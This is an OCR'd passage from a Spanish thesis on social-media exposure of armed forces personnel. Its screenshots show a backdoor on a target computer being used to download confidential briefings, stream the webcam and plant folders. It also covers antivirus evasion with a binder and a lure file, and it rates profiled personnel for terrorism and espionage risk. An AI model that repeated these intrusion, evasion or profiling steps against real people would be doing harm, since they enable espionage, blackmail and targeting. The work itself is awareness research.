Si un terrorista accediese a informacion de las patrullas espafiolas en dicha zona podria planear un
ataque sobre las unidades. Para ello solo es necesario que el usuario atacado esté manejando
informacion sensible en un ordenado no destinado para ello.

Nos centramos en ver la posible informacion que pueda contener el briefing (Figura 3-69).

> cd "BRIEFING SIMTAC"
LS

Name

48 +0000 1-8.pdf
] | :32:22 +0000 18-25.pdf
3741866 fil 2 -02- :32:39 +0000 26-33.pdf
- 1329473 il 917-02-12 :32:54 +0000 34-36.pdf
100666/ v - 3635267 017-02- :32:06 +0000 9-17.pdf

Figura 3-69 Accediendo a carpetas del ordenador del objetivo.

% Exposicion de una operacion en el simulador tactico, en la mayoria de ocasiones, va acompafado de informacion
confidencial.
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Una vez dentro de la carpeta BRIEFING SIMTAC, podemos acceder a la informacion que se
encuentra dentro de ella. En este caso, descargamos la carpeta entera con uno de los comandos

disponibles (Figura 3-70).

48 +0000

2017- 2 1 2 +0000
2017- 2 - 39 +0000
2017- 6 : 4 +0000
1 6 +0000

oad "BRIEFING SIMTAC"
ration failed: The system cannot find the file specified.

g: BRIEFING SIMTAC
BRIEFING SIMTAC BRIEFING SIMTAC/1
pdf -> BRIEFING SIMTAC

Figura 3-70 Descarga de archivos del ordenador objetivo.

Como se puede ver, mediante el comando download, se puede descargar todos los archivos que se
encuentran dentro de la carpeta (Figura 3-71). Encontrada la carpeta, se procede a ver los documentos

descargados.

Applications ~  Places ~ (B Files ~ Wed 15:21
< > <« @ Home alzll=le ® e
L3
D Recent . v y .
[orome | T © T & =
1+ Home BRIEFING Desktop Documents  Downloads Music Pictures Public
SIMTAC
W Desktop
-_—— _—
[ Documents [ E
@ Downloads Templates  Videos
1 Music

Figura 3-71 Muestra de la carpeta descargada en nuestro sistema.
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Places v  [@] Document Viewer v

Applications +

‘ < Kk | ¢ GrHome | BRIEFING SIMTAC » ‘Q‘ ‘ =

®R11 of2 || ¢ >

Q| ™ v|[njl=|ee@e

N s e— |
] OPERATION "
I—— ) —

Qé@ 3 ,'a o
THREE WISE MONKEYS
AAW-05

A
o I

SITUATION é .

Thumbnails voox

+
(o]

“1-8.pdF selected (3.5 MB)

Figura 3-72 Captura de los documentos confidenciales descargados.

Como se puede ver en la Figura 3-72, se trata de una exposicion de las operaciones a desarrollar.
El caracter de dicho documento es confidencial. en otra ocasion podria haber sido una publicacion o
similar, de forma que la repercusion podria haber sido mucho mayor.

Otra de las acciones que se puede llevar a cabo entre las muchas existentes, podria ser acceder a
sus contrasefias almacenadas, iniciar un keylogger con el que almacenariamos todo lo tecleado por la
victima, asi como acceder a su micr6fono, su camara en vivo o sus documentos eliminados (trashing).

Applications ~ Places « ® Firefox ESR v

Metasploit webcam_stream - 192.168.1.102 - Mozilla Firefox e e 0

%2 Inicio - Dropbox % | Metasploit webcam_stre.. x | &

-

D file:///root/DwjPoUNZ html - - ~t o
Metasploit webcam_stream - 192.168.1.102

[ Most Visited v [l Offensive Security “\ Kali Linux '\ Kali Docs "\ Kali Tools EBExploit-DB Wy Aircrack-ng

Target IP : 192.168.1.102
Start time : 2017-02-15 15:23:29 +0000
Status : Playing

v

Lid Firefox automatically sends some data to Mozilla so that we can improve your experience. | Choose What | Share | x

Figura 3-73 Captura de la webcam objetivo.
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Si se puede acceder a la camara (Figura 3-73), existiria la opcion de tomar fotografias del mismo,
incluso obtener material con el que se le pueda hacer chantaje a la victima, asi como hacer uso del
micréfono para acceder a informacion privada. Otra opcidn distinta pero util es la de modificar o crear
archivos de texto, carpetas y opciones similares en el equipo de la victima.

También se pueden realizar capturas de pantalla del escritorio de la victima (Figura 3-74). Se
observa que la victima no ha eliminado el ejecutable creado y también la carpeta con la informacion
que ha sido descargada.

‘ ¢ \
» . )
? WD BT Y

Figura 3-74 Captura del escritorio victima.

También se puede crear y modificar carpetas (Figura 3-75). Esto puede ser til si se quisiera
atribuir algan tipo de delito a la victima. Al igual que se puede descargar archivos de la maquina
victima, también se puede importar archivos a la maquina de la victima.

root@kali: ~ e ® 0
File Edit View Search Terminal Help
r= X0 dir 2 -02-02 :56:29 +0000 ASUS
dir__.26 +0000 BRIEFING SIMTAC
fil 2016- 6:06: +0000 Call Of Juarez.

fil 2012-10-2 8: 42 +0000 DAEMON Tools Li
fil 2016-11-€ ‘ 40 +0000 Da ders II
fil 2014-10-14 :47:31 +0000 Mi Earth -

fil 2016-11-04 :48:47 +0000
fil 02-02 0

fil 2-15 15:15:48

fil 13-10-] p:51: +0000

- NUNCA
NUNCA
CONFIES
y: CONFIES
ir EN
: EN
- NADIE
NADIE
T
/root/UmhGkiHt. jpeg

Figura 3-75 Creando carpetas en el escritorio victima.
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En este caso se crean una serie de carpetas con la intencidn de saber si la plataforma objetivo se da
cuenta de que esté sufriendo una intromisién dentro de su sistema (Figura 3-76).

Figura 3-76 Resultado de la creacidn de carpetas en el escritorio objetivo.

Asi finaliza el ejemplo de como acceder a una plataforma del sujeto en cuestion. En comparacion
con los sujetos vistos anteriormente, las pegas que se podran encontrar durante la realizacion del
proceso son las siguientes:

e Disponibilidad de puertos: este ejemplo se llevé a cabo mediante la utilizacion del puerto
80. Sin embargo, no se pudo completar con normalidad mediante la utilizacion de este
puerto.

e Que a la ejecucion del archivo el antivirus haga saltar una alerta y bloquee o elimine el
archivo.

Como solucion a estos problemas, se vio que o bien se cambiaba la técnica de realizacion del
mismo, con aplicaciones como TheFatRat que correrd sobre Linux, o mediante la utilizacion de las
macros de las hojas de un archivo Excel.

Otra solucion mas sencilla, es la utilizacion de un binder (Figura 3-77).

rnf Tl | = | = 22 |

Figura 3-77 Binder utilizado.

La particularidad del binder utilizado es que hay que introducir por un lado el ejecutable deseado y
por otro lado un archivo con PDF.

Para este ataque, es necesario crear otro tipo de necesidad en la victima. Es decir, ya no se puede
enganar a la victima con el ejecutable de un supuesto programa.

Para la realizacion de este proceso, se eligio el nombre examen robado (atractivo para alumno). El
nombre debe variar en funcién del pablico destinado.
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-

gt Forml

o= = |

C:hUsersiludak\Desktopinstaladarsword exe

C:Usershludak\Desktop'examen robado pdf

Figura 3-78 Realizando binder en archivos.

En la Figura 3-78 se puede visualizar el proceso de creacion del ejecutable.

Comprobamos cuantos antivirus detectan este método introduciéndolo de nuevo en la pagina
https://www.virustotal.com/es .

Como se puede apreciar, este método es mas detectable que el anterior. Se debe a la utilizacion del
binder, ya que se detecta un archivo dentro de otro archivo y son los propios antivirus los que califican
esta accion como potencialmente peligrosa.

¥a total

Gata Sen Heur MSIL Krypt 2

Figura 3-79 Resultado de virus total sobre nuevo archivo [77].
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4 INTERPRETACION DE LOS RESULTADOS

4.1 Justificacion del proceso seguido

Durante el proceso de obtencion de informacion se ha visto que son diversas las formas a través de
las cuales puede obtener diversa informacion y también se han podido apreciar los distintos grados de
configuracién de privacidad que los distintos usuarios realizan en las redes sociales. Desde un sujeto
que carece de informacién o red social hasta aquellos de los que se puede obtener domicilio, teléfono,
familiares y demas informacion de interés.

El elemento clave para obtener informacién es la obtencion de una cuenta de correo, aunque
podria ser en otros ejemplos la obtencién de un teléfono movil, correspondencia privada o toda aquella
informacidn que abra la puerta a mas informacion.

A dia de hoy se hace practicamente imposible que el personal de las Fuerzas Armadas no se pueda
llegar a encontrar expuesto. Aun asi, el personal de las FAS tiene dentro de sus posibilidades la
privacidad y seguridad que se puedan dar dentro de las redes sociales, y pueden dar a aquellos a quien
les rodea.

Llegados a este punto es necesario puntualizar que toda informacion se contrasta varias veces
resulta mas fructifera y veridica que aguella que solo venga de una fuente.

Durante la exploracion con la herramienta Maltego no se esperaba que el volumen de informacion
de los sujetos adyacentes fuera tanto. De esta forma se pasa de tener un Unico sujeto de estudio a 29.
Asi, en el caso de querer llevar a cabo cualquier tipo de accidon sobre un sujeto de las FAS, las
posibilidades que se otorgan son mucho mayores, pudiendo elegir entre los distintos sujetos para poder
efectuar el ataque. Esto haria que el estudio se diversificase y fuese un conjunto de personal
perteneciente a las FAS. Con esto se conseguiria uno de los objetivos de este trabajo, demostrar la
cantidad de informacion asequible a través de las distintas fuentes abiertas. En este sentido, se observo
que el personal de Fuerzas Armadas se encuentra interrelacionado, lo que facilita que a partir de un
unico sujeto se pueda obtener mas informacion del personal adyacente al mismo.

En cuanto a la exploracion en redes sociales, destaca que, en la actualidad, pueden representar el
método mas fiable a la hora de encontrar un sujeto. Durante el desarrollo del estudio, se advirtio de los
distintos tipos de proteccidon en los distintos perfiles de redes sociales. Por dicho motivo, se muestra la
Tabla 4-1, de forma que se utilizara a la hora de estudiar los distintos estandares OTAN para
valoraciones TESSCO.

Otro de los elementos a destacar es la facilidad con la que el personal accede a ser una victima de
un ataque de ingenieria social. Es decir, el personal de las FAS carece de cualquier tipo de defensa ante
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la ingenieria social. Ademas, estos facilitan dichos posibles ataques mediante el vertido de informacién
susceptible.

El ejemplo del backdoor es el ejemplo méas claro de como la falta de experiencia en un tema
puede llegar a comprometer al individuo e incluso a las FAS. También se puede ver esta
vulnerabilidad cuando, en una de las multiples ocasiones que se fue la luz, el personal que se
encontraba dentro del acuartelamiento accedia a una red que desconocian, que no tenian guardada y
gue unicamente comparti el nombre con la original.

A la gran cantidad de informacién que se encuentra accesible en la red y con las distintas
herramientas OSINT se le une la falta de concienciacion que tiene el personal de las FAS. Es
importante destacar que la gran mayoria de los sujetos son objetivos potenciales de sufrir un ataque. en
nuestro caso, se estudiara sujeto a sujeto basandonos en la posibilidad del sujeto a que pueda ser
objetivo de terrorismo, espionaje, subversion, sabotaje y crimen organizado y al que se ha afiadido
como objeto de estudio la presuncion de que pueda sufrir un ciberataque.

4.2 Grados de proteccion en redes sociales

Para la ayuda al posterior andlisis se ha desarrollado unas categorias de grado de proteccion en
redes sociales (Tabla 4-1).

Grado 1 El sujeto no tiene redes sociales.

Grado 2 El sujeto solo tiene foto de perfil, y no deja ver
informacion, fotos, amigos, etc.

Grado 3 El sujeto presenta foto de perfil, amigos, pero no
informacidn personal.

Grado 4 El sujeto presenta foto de perfil, informacion, acceso
a amigos, pero no permite interaccion.

Grado 5 Sujeto con perfil libre y que permite interaccion.

Tabla 4-1 Grados de proteccién en redes sociales.

4.3 Analisis segun los estandares OTAN para las valoraciones TESSCO

4.3.1 Sujeto inicial

Durante la exploracion del sujeto inicial se vio la vulnerabilidad apreciable en todo el personal de
las Fuerzas Armadas. Esta vulnerabilidad consiste en que los miembros de las Fuerzas Armadas, al
menos los explorados durante este trabajo, quedan reflejados como tal, de esta forma es el sistema con
las distintas publicaciones del BOE el que comienza vulnerando la privacidad del personal de las FAS.
Otra vulnerabilidad advertida es la interconexion de un ordenador de la red de Defensa con un
ordenador que se encuentra fuera de la misma.

Este sujeto presenta un grado 3 en lo que a proteccion en redes sociales se refiere. Carece de
cualquier tipo de seguridad en dar su nombre y a apellidos, favoreciendo asi su busqueda y
etiquetacion. También se aprecia que es posible acceder al nombre de usuario de SKYPE, que coincide
con su usuario de MINISDEF.

La Tabla 4-2 muestra su valoracién TESSCO.
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Alta Media Baja
Terrorismo X
Espionaje X
Sabotaje X
Subversion X
Crimen organizado X
Victima de ciberataque X

Tabla 4-2 Sujeto inicial.

Fundamentos: EIl presente sujeto presenta una valoracion terrorista media debido a su posible
empleo y el posible destino que pueda presentar. Dicho concepto va unido con la capacidad de
espionaje que se pueda hacer del mismo. En este punto, la informacién del mismo son nombre y
apellidos, DNI y coche con matricula y modelo. Esto hace que la valoracion de espionaje sea media.
En cuanto al sabotaje, el puesto que desempefia el sujeto debido al destino que se le presupondria tras
el espionaje no seria un objetivo que corra el riesgo de ser saboteado. Del mismo modo ocurre con la
subversion. El sujeto presenta una vulnerabilidad en cuanto a crimen organizado se refiere y, debido a
la falta de conocimientos y concienciacion por parte del mismo, presenta una valoracion media a la
hora de poder ser victima de ciberataque. En este caso se desecha que la victima pueda ser valorada de
forma alta debido a que usa la red de Defensa.

4.3.2 Sujeto 1

La forma de llegar a dicho sujeto fue mediante la exploracion del sujeto anterior. Presenta las
mismas vulnerabilidades en lo que a la publicacion de nombre, apellidos y DNI en el BOE se refiere.

Sin embargo, este sujeto interacciona mas con las distintas redes sociales, calificando su grado de
proteccién como grado 4.

Entre la distinta informacion que le hace ser un sujeto vulnerable se advierte, el nombre y
apellidos, DN, cuerpo, especialidad, empleo, rasgos faciales, hobbies, usuarios de otras redes sociales,
e incluso ideologia politica. Todo ello favorece segin TESSCO a situar a dicho sujeto como un sujeto
potencialmente vulnerable (Tabla 4-3).

Alta Media Baja
Terrorismo X X
Espionaje X
Sabotaje X
Subversion X
Crimen organizado X
Victima de ciberataque X

Tabla 4-3 Sujeto 1.

Fundamentos: El sujeto 1 presenta una valoracion media-alta en lo que a terrorismo se refiere. Esto
se debe al puesto que desempefia y la facilidad en territorio nacional con la que se lo puede encontrar.
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La valoracion en espionaje produce que dicho sujeto tras hallar el lugar donde los pilotos de la Armada
tienen su base, ayudado de distintas fotografias e informacion del mismo, eleve la valoracion del
mismo a un grado alto.

Ademas, el desempefio de las funciones de piloto en la armada facilita el uso de informacion
confidencial, lo que hace que mediante un ciberataque dirigido se pueda acceder a informacion
confidencial y facilite a una valoracion media el grado de sabotaje que pueda sufrir dicho sujeto. Las
fotografias pueden llegar a utilizarse en su contra por parte de cualquier otro usuario, asi como medio
de comunicacién actual o propaganda antimilitarista. Esto hace que la valoracion de subversion
adquiera un grado medio, asi como la de crimen organizado, debido a la escasa proteccidon que dicho
sujeto se da en las redes sociales.

En cuanto a la valoracion en lo que a un ciberataque se refiere, se desconocen las habilidades
informaticas del mismo. Se presupone que, por la facilidad del mismo por subir distinto material no
apto a la red y su interaccion en las distintas redes sociales, puede llegar a ser victima de un
ciberataque con una valoracion media.

4.3.3 Sujeto 2

La forma de llegar a dicho sujeto fue mediante la exploracion del sujeto anterior y presenta las
mismas vulnerabilidades.

En cuanto al grado de proteccion, se trata de un grado 3 de proteccion. Sin embargo, es con su foto
de perfil y la de portada Gnicamente con la que se saca mucha mas informacion que de sujetos
anteriores.

En cuanto a la exploracion mediante las distintas herramientas OSINT, destaca la obtencion del
nombre y apellidos, correo electronico, redes sociales, especialidad, empleo, rasgos faciales y demas.
En cuanto a la valoracion TESSCO (Tabla 4-4) presenta distintos grados debido a que se encuentra
menos accesible a través de redes sociales.

Alta Media Baja
Terrorismo X X
Espionaje X
Sabotaje X
Subversion X
Crimen organizado X X
Victima de ciberataque X

Tabla 4-4 Sujeto 2.

Fundamentos: El sujeto 2 presenta una valoracion media baja en lo que a terrorismo se refiere. Se
debe a su empleo. Sin embargo, es importante resaltar que, entre las distintas fotos asequibles a través
de redes sociales, destaca la Figura 3-26. Se trata de una imagen con calificacion de seguridad a nivel
nacional como secreto. Dicha imagen es el tablero de la avionica de un helicoptero. Ademaés de estar
penado por el cédigo disciplinario de las Fuerzas Armadas, dicha clasificacion puede poner en riesgo
los intereses de Espafia como nacion, asi como los intereses de las Fuerzas Armadas. Por este motivo,
el grado de espionaje y sabotaje es una valoracion alta.

En cuanto a la subversion es necesario puntualizar que seria la imagen y el correo facilitado el
motivo por el que adquiere un grado medio de valoracion. Sin embargo, como se ha mencionado antes,
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el empleo es un factor condicionante a la hora de ser o no una posible victima. En este caso, se le
otorga un grado medio bajo a la valoracion para el crimen organizado.

La facilidad con la que el usuario proporciona su correo a través de la red y siendo uno de los
factores méas importantes a la hora de realizar un ciberataque le otorga una valoracion media.

4.3.4 Sujeto 3
La forma de llegar a dicho sujeto ha sido mediante la exploracion del sujeto anterior.

En cuanto al grado de proteccion se trata de un grado 4, ya que vierte una cantidad de informacién
relevante, como su familia, en la que se destaca mujer e hija.

Este sujeto presenta su vulnerabilidad a través de la familia. Otra vulnerabilidad que presenta es
que indica cuando se encuentra fuera de casa realizando una mision, hecho que aumenta su valoracion
TESSCO.

De esta forma, a través de redes sociales y herramientas OSINT, es posible sacar nombre,
apellidos, DNI, informacion familiar, empleo y destino del mismo (Tabla 4-5).

Alta Media Baja
Terrorismo X
Espionaje X
Sabotaje X X
Subversion X
Crimen organizado X
Victima de ciberataque X

Tabla 4-5 Sujeto 3.

Fundamentos: El sujeto 3 presenta una valoracion media en lo que a terrorismo refiere. Se debe a
la clase de comentarios e interaccion que el sujeto publica en redes sociales y que, al tratarse del
pasado, no suponen una valoracion alta en la actualidad. Sin embargo, es necesario puntualizar que
dicha clase de comentarios pueden comprometer la unidad, ya que, en la mayoria de los casos, esa
clase de informacidn en un buque de guerra no suele compartirse con tanta facilidad.

Este comportamiento puede facilitar el espionaje de una unidad, pudiendo llegar a obtener los
patrones de movimiento de la misma a través de una simple red social y, con ello, sabotear las distintas
unidades que se vean comprometidas.

Dicha valoracion sobre los factores anteriormente citados produce que se le otorgue una valoracion
media de subversion y, que debido a los datos familiares a traves de las redes sociales, es una posible
victima del crimen organizado. En cuanto a que el sujeto sea victima de un ciberataque se le presupone
una valoracion baja.

4.3.5 Sujetos adyacentes

Aunque no se puede tratar como un unico sujeto ya que la informacién corresponde a mas de un
sujeto, se continua realizando las valoraciones TESSCO (Tabla 4-6) oportunas.
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Destaco durante la exploracion del resto de perfiles que el grado de proteccion en redes sociales
suele estar estandarizado en grado 3, si bien se han encontrado varios perfiles de grado 5, y varios
perfiles de grado 1.

Alta Media Baja

Terrorismo Suele centrase en
media, aunque existan
ejemplos de personal,
cuya valoracion
deberia ser superior

Espionaje Direccion de la
vivienda obtenida en
fuentes abiertas

Sabotaje Familiares Amigos
Subversion Media de los sujetos
Crimen organizado Media de los sujetos
Victima de ciberataque Observado personal Principalmente no
que comunica el tipo observado

de plataforma que usa

Tabla 4-6 Distintos sujetos vistos.

Fundamentos: Los distintos sujetos identificados del entorno del sujeto inicial suelen encontrarse
situados en una valoracién media en lo que a TESSCO se refiere, aunque se ha visto el caso de un ex
comandante de un buque de la Armada cuya valoracion de terrorismo deberia ser superior por ser
comandante de una unidad y de que la direccion de la vivienda del mismo se encuentre subida a la red
junto con una foto de la familia. Esto hace que la valoracién de espionaje sea superior a la media, asi
como la de posible sabotaje de la unidad a través de los familiares de este. En cuanto a subversion y
crimen organizado, la valoracion se encuentra centrada en media, ya que son los empleos los que
juegan un papel en contra. Es decir, a mayor nivel de empleo, més posibilidad existe de que aumente el
grado en estos. Entre la valoracion de estos de sufrir un ciberataque, se encuentra no observada, salvo
en aquellos cuyas plataformas que se obtienen a través de Twitter, 0 cuyos comentarios en plataformas
de compra en linea presuponen el uso de un terminal. En estos casos la valoracion es media.

4.3.6 Sujeto 69

El modo de acceder a dicho sujeto es mediante el analisis de la red a través de la herramienta
OSINT de Maltego.

En principio, un controlador de una red no tiene por qué aparecer resefiado en la red, e incluso
puede que el nombre que a parezca no sea real. Como resultado del mismo, no es necesario que
aparezca como uno de los dos controladores de la red.

En cuanto a las redes sociales, presenta un grado 3 de proteccion en Facebook.

En LinkedIn el grado de proteccion es 5 ya que cualquiera puede ver su curriculum e interactuar
con él (Tabla 4-7).
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Cabe destacar que la informacion vertida en LinkedIn, corrobora que se trata de un Teniente
Coronel de Ingenieros, encargado del nodo INET®” y de las comunicaciones del Ministerio de Defensa.
Se sabe por Facebook que tiene familia y la ciudad donde vive.

Alta Media Baja
Terrorismo X
Espionaje X
Sabotaje X
Subversion X
Crimen organizado X
Victima de ciberataque X

Tabla 4-7 Sujeto 69.

Fundamentos: EIl sujeto 69 presenta una valoracion alta en lo que a terrorismo se refiere. Se debe a
que el sujeto es una parte fundamental en las comunicaciones del Ministerio de Defensa. Cualquier
acto sobre dicho sujeto puede causar graves consecuencias tanto en el sujeto como en la defensa de
Espafia como nacion.

Este sujeto presenta también una valoracién alta en espionaje, ya que como dice en su propio perfil
trabaja como coordinador del nodo INET. Esto puede causar que si se accediese a los permisos que
este tiene pudiese causar graves problemas de espionaje y dejaria al sistema expuesto.

Unido al factor anterior, hace que la valoracion de sabotaje sobre el mismo sea elevada. Todo ello
es debido al volumen de informacidn que el sujeto puede manejar o haya manejado, de forma que se le
pueda sabotear mediante la familia o similares, dejando de nuevo expuesto al sistema.

Presenta una valoracion media en subversion, destacando que cualquier filtrado de informacion de
dicho sujeto puede hacer que las comunicaciones de Defensa corran peligro. Igual ocurre con el crimen
organizado. Sin embargo, no es un sujeto que se presente como vulnerable en dichos valores.

En cuanto al valor de ciberataque, es de caracter alto, ya que cualquier ciberataque, hasta el mas
sencillo que anule las capacidades de dicho nodo, puede anular las comunicaciones del Ministerio de
Defensa.

4.4 Justificacion del malware

Durante el desarrollo practico de la memoria, se observo que la mejor forma de llegar al objetivo
mediante un ciberataque era la utilizacion de un malware. En este caso, de todas las posibilidades se
eligio un backdoor.

Su funcionamiento estd basado en el modo caballo de Troya. Es decir, se envia un archivo con
apariencia legitima pero que a su vez me facilita realizar un ataque sobre el objetivo.

Durante la realizacion del mismo se puede ver que son multiples los modos de actuacion de estos.
Esto quiere decir que un mismo backdoor, puede realizarse de diversas formas y puede tener diferentes
funciones.

57 Instituto Nacional de Educacion Tecnoldgica.
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En este caso se tratd de omitir las memorias USB, que solo aumentan el grado de dificultad y son
maés féciles de detectar. Esto se debe a que muchos de los antivirus modernos vuelcan sus esfuerzos en
el analisis de memorias extraibles.

Por este motivo y la facilidad de uso se eligi6 la red. Asi, el archivo infectado fue puesto en comin
a través de Dropbox. Se eligio esta plataforma debido a que la mayoria de los correos actuales utilizan
antivirus dentro de la aplicacion.

Para la realizacion del ataque también se llevd a cabo un mapeo de los puertos de la red a utilizar.
Esto es esencial a la hora de efectuar un ataque, ya que es necesario saber qué puertos se encuentran
abiertos.

Llegados a este punto, cobra especial importancia la informacion adquirida a través de fuentes
abiertas.

Una vez creado el archivo ejecutable, se eligieron los payloads y exploits, por ser los mas eficaces.
También se eligio la comunicacion reversa, ya que al ser un ataque en tiempo real era la que mas
convenia al proceso.

La justificacion del mismo en su eleccidn es para que permita camuflar el archivo en tiempo real,
haciendo mudar el proceso dentro de otro proceso o incluso acabar con el antivirus de la plataforma
enemiga.

A modo de conclusion, estas son las principales razones por las cuales se defiende el backdoor
como ciberataque dirigido hacia un miembro de las FAS: rapidez, versatilidad, eficacia y capacidad de
que se pueda hacer el archivo indetectable.

4.5 Andlisis del personal de las FAS en redes sociales

Durante el presente trabajo, se observé que el personal de las FAS analizado, carece en la mayoria
de los casos de seguridad 6ptima en sus diversos perfiles. Es importante destacar que el personal de las
FAS, por su condicion de militar debe tomar precauciones a la hora de subir material a la red.

Ademas, durante el presente analisis se vio que no existe ninguna clase de filtro a la hora de volcar
informacion a las redes sociales. Asi, en la mayoria de los casos el material es asequible para la
mayoria de usuarios.

Se observo también que durante la realizacion del estudio las redes sociales de los integrantes de
las FAS dependen de su empleo y se encuentran en la mayoria de los casos relacionadas con la edad de
los integrantes.
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La Tabla 4-8 muestra las principales redes sociales utilizadas dentro de las FAS.

Edad Facebook Instagram Twitter LinkedIn Grupo
Alumnos,
ey 18-30 X X . 1
marineria
Oficiales
y 30-45 X X - - 2
suboficiales
Comandantes
y
Suboficiales 45-59 - X X 3
antiguos
Oficiales 60 en - - 4
generales adelante

x": entorno al 40-50% de los integrantes de las FAS con
redes sociales.

Leyenda g

"-": entorno al 20-30% de los integrantes de las FAS con
redes sociales.

Tabla 4-8 Analisis de las redes sociales en las FAS.

Fundamentos: Como reflexion general, destacar que las redes sociales se encuentran presentes en
las FAS. Son las nuevas generaciones las que mas uso le dan. El tipo de uso suele ser para subir
fotografias y realizar comentarios. Durante el estudio puedo verificar la enorme cantidad de fotografias
que no pasan ningun tipo de filtro disponibles en las redes sociales. Como curiosidad, destaca de este
primer grupo que casi en su totalidad se identificaran como militares y que los comentarios publicos
del sistema o de lo relacionado con el sistema es bastante comun. Esto ocurre tanto en Instagram como
en Facebook. Resalta curioso destacar el uso de la red social LinkedIn cuya finalidad es la busqueda de
trabajo y contactar con profesionales del sector.

En cuanto a los integrantes del grupo 2 interactGan principalmente mediante Facebook en el
ambito familiar y amistades. Es en el grupo 2 donde se asienta la red social LinkedIn. Tiene en este
grupo menor uso la red social Instagram, aungue tiene adeptos igual que Twitter.

Los integrantes del grupo 3 se alejan del uso de la red social Facebook aunque existan integrantes
en ella. El uso de las redes sociales se encuentra en Twitter pero, sobre todo, en LinkedIn (con mas
afinidad que en Facebook).

Por ltimo, los integrantes del grupo 4 siguen los mismos patrones que los anteriores, pero con
menor participacion que el resto del personal de las FAS.
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5 CONCLUSIONES Y LINEAS FUTURAS

5.1 Conclusiones generales

El presente trabajo se ha realizado tomado como muestra el personal de FAS como institucion nunca
como individuo, empledndose exclusivamente la informacion vertida en la red por los mismos de
caracter completamente pablica y a la que podria tener acceso cualquier usuario.

A lo largo del mismo, se ha podido constatar la gran cantidad de informacién vertida en el ciberespacio
por personal perteneciente a las FAS. Con ello se ha podido descubrir que la mayor parte de la misma
se la puede catalogar como ‘“personal”. Debidamente empleada, puede servir de base para la
realizacion de ataques que podrian tener un doble objetivo: la institucion y la persona.

Por otro lado, es muy complicado modificar las configuraciones y los protocolos asociados a las redes
sociales. Es por ello, por lo que el principal objetivo de este trabajo es el de concienciar y sensibilizar a
los componentes de las FAS de la gran vulnerabilidad que representa para ellos mismos y sus familias
divulgar de manera descontrolada informaciones asociadas a la persona.

Sorpresivamente, también se ha descubierto en la elaboracidn de este trabajo que es el propio Estado, a
través de cualquiera de sus boletines (BOE, BOD), el primero que “etiqueta” a parte del personal
perteneciente a FAS, allanando el trabajo preliminar para todo aquel que quisiera atacar a la institucion
0 Sus componentes.

A modo de resumen, a continuacion, se exponen una serie de medidas que, tras la elaboracién de este
trabajo, se considera interesante hacerlas llegar a todos los componentes de FAS:

e Desconfiar de cualquier usuario de la red, siendo esta la principal maxima a la que debe
cefiirse el personal de las FAS. Esta medida es necesaria, ya que se desconoce el individuo
que se puede encontrar tras un usuario cibernético.

e Aumentar el grado de privacidad y seguridad personal en las distintas redes sociales.
Mentalizar en el empleo de alias, nombre falsos o abreviaturas

¢ Reducir la interaccion en la red. Lo deseable es que la misma quedase reducida a nombre y
apellidos, a ser posible falsos. Por ejemplo: comentarios en paginas de compras en linea,
paginas de eventos, etc. De esta forma se dificultaria notablemente la obtencion de los
perfiles personales del personal de FAS.

o Desconfiar de perfiles no conocidos y que traten de interactuar con el personal de las FAS.

e Desconfiar de cualquier medio de interaccion que haga dar mas datos de los necesarios ya
que, por norma general, se desconoce el lugar donde se van a almacenar o el fin de los
mismos.
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Leer los términos y politicas de privacidad de las aplicaciones (redes sociales, correos, etc.)
utilizadas en las distintas plataformas.

Desconfiar de aplicaciones o programas cuyo origen sea desconocido, aunque sean
recomendados por un allegado.

Restringir el uso de las redes sociales al personal de las FAS, realizando una auditoria
sobre los perfiles del personal integrante de las FAS. Dicha restriccion podria llegar a ser
prohibicion, si de zona de operaciones se tratase.

Restringir el uso de redes sociales a partir de ciertos empleos, o en personal que ocupe
determinados puestos/destinos.

Evitar el uso de paginas destinadas a confeccionar una “bolsa de trabajo” teniendo en
cuenta del gran volumen de datos que se han de dar.

Prohibir el uso de empleos militares y destinos en cualquier fuente abierta.

Endurecer las medidas disciplinarias asociadas al mal uso de las redes sociales, llegandose
las mismas a contemplarse de manera explicita en el actual “Régimen disciplinario de las
Fuerzas Armadas”.

Prohibirse, de manera general y conjunta, el uso de paginas como LinkedIn o similares.
Dicha plataforma tiene como objeto la busqueda de empleo o la creaciéon de bolsas de
trabajo. De todos es conocido que el personal en situacion de activo en FAS esta sujeto a la
Ley de Incompatibilidades.

Prohibir la “existencia” en la red de determinadas personas de las FAS en virtud de su
cargo, grado militar o destino.

Todas estas medidas podrian reducirse en una: Reducir de manera drastica el volumen de
informacidn que los miembros de las FAS divulgan, de manera consciente o inconsciente, en la red.

5.2 Lineas futuras
Como lineas de actuacion futura se destacan las que siguientes:

Creacion de herramientas que permitan controlar la cantidad de informacion que el
personal de las FAS vierte a las redes sociales. Lo ideal es que la misma pudiera identificar
quiénes son los usuarios y analizar el tipo de informacién con el objeto de buscar
soluciones.

Desarrollar unos patrones o perfiles de conducta que permitan conocer cuél es el tipo de
“persona” que vierte mas informacion en la red, asi como el tipo de la misma. Conocer qué
es lo que le lleva a esta persona al mal empleo de la red.

Elaborar un documento marco que sirva para realizar futuras auditorias en cada uno de los
Ejércitos, marcandose en el mismo la direccion estratégica a seguir.

Elaborar, de manera conjunta, programas destinados a la mentalizacion y concienciacién
del personal de FAS sobre las consecuencias del mal uso de la red.
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ANEXO |I: GLOSARIO DE TERMINOS

Algoritmo SHA-1: Algoritmo de autenticacion.

Anonymus: Conjunto de personas con conexion a internet, cuyo comun ideal, por encima
de cualquier otro, es la defensa de la libertad de expresion.

Autorun: Capacidad de un sistema/programa/archivo de ejecutarse sin la necesidad de
interactuar con él.

Bajas cero: Término que hacer referencia a no sufrir ninguna baja durante el desarrollo de
una contienda.

Briefing: Reunion/exposicion.

Caché: Area de almacenamiento dedicada a la recuperacion a gran velocidad de los datos
usados o solicitados con mas frecuencia.

Ciberarma: Neologismo que hace referencia a las armas utilizadas en el ambito ciber.
Ciberataque: Neologismo que hace referencia a los ataques sufridos a través de una
plataforma cibernética.

Ciberdelito: Neologismo que hace referencia a los delitos cometidos a través de la red.
Ciberguerra: Neologismo que hace referencia a la guerra llevada a cabo a través de la red.
CIFAS: Centro de Inteligencia de las Fuerzas Armadas.

CNI: Centro Nacional de Inteligencia.

Cddigos QR: Modulo que permite almacenar informacion en una matriz de puntos.

Deep Web: También conocida como Web Oscura, es la parte de la red que carece de
regulacion juridica, y cuenta como maxima fundamental con el anonimato de sus
integrantes.

Dispositivo Teensy: Pequefio microcontrolador HID programable con interfaz USB que
permite emular un teclado y mouse para enviar comandos a cualquier sistema operativo.
DNS Spoofing: Método para alterar las direcciones de los servidores DNS que utiliza la
potencial victima y de esta forma poder tener control sobre las consultas que se realizan.
Encoder: Programa utilizado para convertir una informacién de un formato a otro.
